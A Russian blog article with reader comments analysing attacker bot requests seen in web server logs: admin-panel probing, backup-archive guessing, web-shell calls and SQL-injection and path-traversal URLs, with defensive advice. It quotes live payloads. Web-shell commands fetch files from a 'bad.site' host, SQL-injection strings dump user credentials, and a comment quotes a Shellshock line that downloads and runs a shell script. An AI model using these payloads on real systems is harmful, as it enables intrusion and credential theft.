Что и зачем ищут на сайтах «боты тёмной стороны силы»

Что такое «боты тёмной стороны силы»? Обозначим так сканирующие программы (поисковые роботы, пауки), которые используют злоумышленники. В отличие от роботов поисковых систем [1, 2], «боты тёмной стороны силы» (в дальнейшем для краткости — боты) заняты поиском уязвимостей, вредоносных программных закладок, конфиденциальной информации и т. д. Действия, аналогичные работе бота, может выполнять и человек, но использование бота, по понятным причинам, эффективнее и более распространено.

При подготовке материала использованы журналы (веб-серверов и систем управления контентом) нескольких сайтов. Выбраны наиболее типичные и наиболее наглядные примеры.

Что же и зачем ищут?

Административная панель


Административная панель, панель управления или «админка» — одна из самых распространенных целей. Задачи: определить используемую CMS, установить точный адрес скрипта панели для дальнейшего подбора пароля.

Примеры (для CMS WordPress [3]):

example.org/wp-login.php (проверка «в лоб»)
example.org/wp-admin (перебираются типовые каталоги)
example.org/dir/dir/wp-login.php (перебираются все доступные каталоги)
example.org/wp-admin/images/wordpress-logo.png (попытка маскировки сканирования, когда проверяется не сам скрипт, а характерное изображение или css файл)

Подобное сканирование ведется постоянно и не должно вас сильно тревожить, особенно если вы не используете CMS WordPress, как в приведенном примере. В качестве меры противодействия целесообразно ограничить доступ к каталогу со скриптами административной панели средствами веб-сервера (.htaccess и .htpasswd для Apache), не забывая про обязательную стойкость паролей в используемой CMS.


Как видно из этих примеров, осуществляются попытки найти не только административные панели CMS, но и вспомогательных систем или приложений для администрирования. Перебираются различные варианты названий скриптов и каталогов, включая наиболее распространенные суффиксы версий. Некоторые администраторы считают, что изменив имя скрипта или каталога (сохранив при этом читаемость и понятность названия), они смогут перехитрить ботов и защитить систему. К сожалению, это далеко не так.

Архивы с характерными именами


Архивы с резервными копиями или установочными пакетами — ценная добыча для злоумышленников, т. к. в них могут содержаться пароли доступа к административной панели, файлы с настройками, параметры доступа к СУБД, полные копии баз данных и др.

Примеры:

example.org/example.org.tar.gz
example.org/backup.zip
example.org/example.org.zip
example.org/public_html.tar.gz
example.org/public_html.zip
example.org/www.zip
example.org/dir/dir.zip

Обратите внимание, что многие архиваторы, в т.ч. установленные на серверах хостинговых компаний, задают по-умолчанию имя файла-архива равным каталогу который архивируется или в котором расположены данные, предназначенные для архивирования. Эта особенность широко используется ботами, как видно из примеров выше.
Иногда можно встретить попытки подбора имен файлов-архивов от распространенных систем резервного копирования. При использовании типового алгоритма формирования имен файлов и дат выпуска обновлений количество комбинаций значительно сокращается. Несмотря на наличие у некоторых систем резервного копирования сайтов встроенных механизмов защиты (таких как .htaccess с «deny from all»), они могут оказаться не эффективны при изменении веб-сервера и по некоторым другим причинам.

Целесообразно оперативно удалять файлы с архивами, которые содержат важную или конфиденциальную информацию, т. к. они постоянно находятся в области интересов ботов.

Ловушки


При выявлении подозрительных обращений в процессе анализа журналов у администратора возникает желание глубже разобраться в ситуации. На это и ориентируются злоумышленники.

Из журналов, как правило, возможно восстановить значение поля HTTP referer. Данное поле клиент (бот) может устанавливать произвольно, поэтому администратор должен проявлять определенную осторожность при обращении с полученными данными. Возможные варианты: ссылка на фишинговый сайт или сайт с вредоносным ПО, рекламная ссылка, выполнение скрипта, сжатого системой сокращения ссылок.

Лучше не рассматривать значение поля HTTP referer как достоверную информацию и, если перейти по ссылке очень хочется, предварительно проверить ссылку на сайтах антивирусных компаний и VirusTotoal.

Все это должны знать и понимать, но напомним, что переходить по неизвестным ссылкам категорически запрещено, особенно когда вы работаете на сервере с привилегиями администратора.
Примеры ссылок, по понятным причинам, приводить не будем.

«Волшебные» каталоги


Какие каталоги (подразделы) используются ботами чаще всего? Приведем примеры без дополнительных комментариев, ориентируясь только на относительную частоту. Следует сразу оговориться, что выборка зависит от обследованных сайтов и включения (исключения) каталогов, используемых для поиска административных панелей.



Вредоносные программные закладки


Вначале рассмотрим примеры:

example.org/explore.php
example.org/images/join.php
example.org/images/register.php
example.org/images/signup.php
example.org/images/stories/busuk.inc.php
example.org/images/webadmin.php
example.org/libraries/libraries.php
example.org/stories/food.php
example.org/tmp/petx.php
example.org/xmlrpc.php

Перечисленные выше файлы не должны присутствовать на [исследуемых] сайтах. Если у вас достаточно большая выборка с нескольких площадок, то можно выделить подобные целенаправленные попытки. Обратите внимание на дополнительные примеры, иллюстрирующие использование подобных скриптов злоумышленниками:

example.org/images/do.php?act=reg
example.org/images/stories/racrew.php?cmd=wget http://bad.site/img/icons/tempe.gif; mv tempe.gif menu.php
example.org/naskleng.php?cmd=wget http://bad.site/components/com_content/teli.tar.gz; curl -O http://bad.site/components/com_content/teli.tar.gz; lwp-download http://bad.site…

Откуда они берутся? Как правило, всё банально: варез или взлом (через устаревшие и не обновленные вовремя CMS или компоненты и др.).

Нестареющая классика — SQL injection и переходы по каталогам


Ограничимся примерами без подробных рассуждений что это и как должно работать, по замыслу авторов.

классика
example.org/index.php?option=../../../../../../../../../../etc/passwd\0&sitemap=1
example.org/index.php?option=/../../../../../../../../../../proc/self/environ&sitemap=1
example.org/index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(1234,0x3B,4321),4,5,6,7,8,9,10--
example.org/index.php?option=com_kunena&func=userlist&search=\"%" and 1=2) union select 1, concat(username,0x3a,password,0x3a,usertype),concat(username,0x3a,password,0x3a,usertype),«Super Administrator»,«email»,…
example.org/index.php?option=com_linx&Itemid=101«and(select/**/1/**/from(select/**/count(*),concat((select/**/username/**/from/**/jos_users/**/where/**/usertype=0x73757065722061646d696e6973747261746f72…
example.org/index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1**/aNd/**/1=0/**/uNioN++sElecT+1,234567--
example.org/index.php/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=-1+union+select+1,concat(0x7e,table_name,0x7e)+from+information_schema.tables+where+table_name=0x4348415241435445525f53455453--


Вместо заключения


Смотрите и анализируйте журналы эксплуатируемых систем (не только web). Это может пригодится в самый неподходящий момент.
Домашнее задание [Доморощенный] web honeypot своими руками.
Поделиться публикацией
Похожие публикации
Ой, у вас баннер убежал!

Ну. И что?
Реклама
Комментарии 21
    +3
    Не стоит забывать о ботах:
    1) проверяющих формы загрузки файлов на сайте на возможность залить произвольный файл на сервер (встречается например если программист забыл поставить проверку, что залить на сервер можно только картинку или проверяет только на вхождение ".jpg", тогда может сработать заливка blackdoor.jpg.php)

    2) Проверяющих формы комментирования и т.п. на возможность залить рекламу или произвольный javascript код, для воровства трафика или дохода за контекстной рекламы.

    Кстати, кроме «светлых» и «темных», есть ещё «серые» боты, это боты, которые не пытаются получить доступ к информации или как-то навредить сайту, однако пытающиеся получить ту информацию или возможности, что обычно ботам не доступны (например, на сайте бронирования билетов онлайн, пытаются получить данные о всех возможных рейсах). Почему серые? Потому что не всегда смысл таких ботов в том чтобы нанести вред, иногда у сайта нет подходящего api (или его получить слишком сложно) для вполне мирных и полезных целей (например, для того чтобы моментально обновлять ассортимент и цены на сайте посредника при изменениях на сайте производителя).
      0
      nvv, цены бы вам не было, если бы в конце поста была фраза «И для того, чтоб сэкономить тебе время, дорогой %username%, я запилил простейший онлайн-чекер, методы скана которого честно буду поддерживать актуальными как минимум некоторое время». Идея не нова, но результаты беглого поиска по чекерам делятся на 3 категории:
      1. Наверняка рабочие, но требующие доната
      2. Возможно рабочие, но какие-то мутные, больше похожие на сборщики email-ов
      3. Как это вообще попало в результаты поиска?

      Возможно, неплохое заделье на грядущие выходные ;)
        0
        Вот там в комментах есть некоторое количество: toster.ru/q/143635
          0
          cmepthuk, спасибо за идею, но утилит для разбора логов много, а онлайн-чекер для переваривания логов — очень ресурсоемкая штука. Или я не так понял?
            0
            Идея в чекере, что анализирует сайт на «потенциальные уязвимости» (в той или иной мере), и выводит удобочитаемый результат; в минимальном варианте выполняя HEAD запросы по списку «потенциально-опасных» урлов, и в случае ответа == 200 || 304 — выводить пользователю сообщение об этом. Дальше — глубже, сканировать порты и брать фингерпринты, искать версии по, детектить популярные cms и анализировать их на широкие уязвимости и «ой, забыл удалить», и так далее
          +5
          Меня очень радует по ссылке /phpmyadmin заливать honeypot даже с приглашением вида «для пользователя root не задан пароль» с логированием POST-запросов в fail2ban.
            0
            Без особого толку, но фана ради, можно сделать вот такую (обнови пару раз) страницу (honeypot.html), добавив в .htaccess подобную запись, предварительно поправив под себя :)
            0
            А почему xmlrpc.php не должно быть? Оно вроде входит в состав Wordpress.
              0
              «не должны присутствовать на [исследуемых] сайтах», в примеры не попали попытки обращения к подобному файлу в различных каталогах
              0
              Целесообразно оперативно удалять файлы с архивами, которые содержат важную или конфиденциальную информацию, т. к. они постоянно находятся в области интересов ботов.


              Целесообразно не писать важную или конфиденциальную информацию, которая не должна быть доступна для скачивания, в вебрут. Это доступно обычно даже на шаред хостингах.

              Лучше не рассматривать значение поля HTTP referer как достоверную информацию и, если перейти по ссылке очень хочется, предварительно проверить ссылку на сайтах антивирусных компаний и VirusTotoal.

              Все это должны знать и понимать, но напомним, что переходить по неизвестным ссылкам категорически запрещено, особенно когда вы работаете на сервере с привилегиями администратора.


              Странный совет. Ссылки в большинстве своем неизвестны, пока на них не перейти. Просто надо использовать нормальный броузер с нормальной обвеской плагинов для безопасности, ну еще в приватном режиме желательно или из-под тестового пользователя. И ходить можно куда угодно. И да. Запускать броузер с максимальными правами вообще прохладная идея под любой ОС.

              example.org/xmlrpc.php

              Перечисленные выше файлы не должны присутствовать на [исследуемых] сайтах.


              А если у меня drupal?
                0
                Или если нужно писать только в вебрут, настроить на apache deny from all для каталогов с данными
                  0
                  Виртуалка — наше всё.
                  0
                  А зачем боту может быть нужно подписываться на рассылку? Это тоже как-то можно корыстно использовать?
                    0
                    В теории можно. Например, сделав фейковую рассылку как бы от крупного сайта, что-то вроде рассылки от майл.ру или яндекса, которая в от кого пишет правильный email, текст рассылки ровно такой же как у настоящей, но все ссылки ведут на XXX сайт или что ещё хуже на сайт с кучей вирусов. В самом худшем случае они ведут на копию сайта банка или платежной системы и крадут деньги пользователей. Скажем, рассылка точная копия сбербанка, но все ссылки ведут на фековый сайт.
                      0
                      Так а как подписка на рассылку может помочь выполнить рассылку?
                        0
                        1) Делаем бота, подписывающегося на рассылку всех сайтов подряд,
                        2) получаем на ящик настоящую рассылку,
                        3) Другим ботом вычисляем email'ы пользователей сайта (иногда это возможно),
                        4) шлем им ту же рассылку, но с левыми url'aми,
                        5) profit
                    0
                    Да куча «гуляющих скриптов». Как узнают сайт с Wordpress, сразу ломятся в консоль… Если по нормальному, субдоменную авторизацию ставят или капчу. Но это частный случай, конечно…
                      +1
                      я на днях решил разобрать логи отсеяв все «хорошие» запросы и получил абсолютно тоже самое. Если хотите, могу собрать все свои паттерны, хотя они примерно такие же, но cms'ок побольше. Особенно понравились запросы вида
                      example.com/? здесь_ничего_нет
                      example.com/?---------на_этом_сайте_негде_постить-------

                      Я для себя когда то на хилом вдске делал бан скрипты, как раз подставляя то что запрашивают боты, а боты сразу шли в бан на сутки.
                      А вот попытка скачать всякие архивы с корня и файлики типа password.txt у меня попытались только в последнем месяце (во всяком случае за год ни разу не пытались, старее бекапов машины просто не осталось).

                      Скрытый текст
                      /users/registrate/
                      /install/
                      /installed/
                      /netcat/admin/skins/default/css/login.css
                      /manager/templates/default/css/login-min.css
                      /templates/system/css/system.css
                      /users/forget/
                      /images/cms/admin/mac/common/butterfly.png
                      /+++++++++++++++++++++++++++++++++++++++++++++++++++++Result:+%ED%E5+%ED%E0%F8%EB%EE%F1%FC+%F4%EE%F0%EC%FB+%E4%EB%FF+%EE%F2%EF%F0%E0%E2%EA%E8;
                      /?%D0%BD%D0%B8%D1%87%D0%B5%D0%B3%D0%BE%20%D0%BD%D0%B5%D1%82
                      /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H; HTTP/1.0" 200 0 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H
                      /cpphpmyadmin/scripts/setup.php
                      /dump_grabber.php

                      а по ip обращаются в основном к cgi-bin
                      /cgi-bin/hello.cgi
                      /cgi-sys/php5
                      /phppath/cgi_wrapper
                      /cgi-bin/kontakt.cgi
                      /cgi-bin/kounter.cgi
                      /cgi-bin/backup.cgi
                      /cgi-bin/firewall.cgi

                      Что удивительно, в логе для 127.0.0.1 у меня как то попало это, хотя я знаю что кривовато настроил, но самому пробиться по 127.0.0.1 снаружи не вышло. по ходу как то обошли.
                      XX.XX.34.199 — - [09/Dec/2014:10:02:17 +0300] «GET /cgi-bin/authLogin.cgi HTTP/1.1» 404 162 "-" "() { :; }; /usr/bin/wget -c XX.XX.30.79/test.sh -P /tmp && /bin/sh /tmp/test.sh 0 <&1 2>&1"

                      куча попыток открыть pma по различным ссылкам и с маленьким регистром и с большим и с такой версией и с этой и с пятой и так и этак

                      Мне еще нравятся запросы типа
                      XX.XX.37.61 — - [07/Feb/2015:21:11:15 +0300] "\xCBjZo\xF3k\xE5u?b9\x06%\xF3\xEA<\x87\x9E\x9F\xF2\xB7!\x89\xD1\x16,\xA7?\xAD" 400 166 "-" "-" они у меня валяются в общем access логе, который к домену не привязан, он просто состоит из них.

                      //хватит занудства от меня, а то пойду за старыми логами еще
                        0
                        В некоторых случаях делали перенаправление на первую страницу сайта, надо бы посмотреть логи — переходили боты или нет.
                        Не пробовали перенаправлять особо настырных куда-нибудь с возможностью отследить — был переход или не было? Если переход был — можно попробовать ссылать их на один «регистратор», который сможет собирать и публиковать статистику. Для такого регистратора не нужны большие ресурсы.
                        0
                        Мимо веткой. Сообщение для nvv.
                        Не пробовал перенаправлять вообще, я посчитал что раз запросил, например pma, то это или бот или какой то кулхакер, а значит идёт в бан и нечего тут искать. И это работало, если раньше с одного ип запросов было от 5 до 20, а в запущенных случаях и сотня запросов, то стало по одному, двум в зависимости от попадания, а потом по логам запросы уже ручками я добавлял в словарь. Сейчас правда не парюсь по этому поводу т.к. машина мощная а искать в принципе нечего. Поисковики ни разу не попадали в бан.
                        В принципе можно попробовать и перенаправлять куда-то хотя можно оставить всё вообще как есть и просто распарсить логи. В логах же всё есть и дата и запрос и http код и ип и домен.
                          0
                          Или парсить логи со _своих_ ресурсов или парсить логи одного ресурса, куда перенаправляют только «левые» запросы с большого количества сайтов.
                          К сожалению сейчас под рукой мало актуальных журналов, а история (основной архив за длительный период) утеряна, т.к. была не особо нужна.

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                        Самое читаемое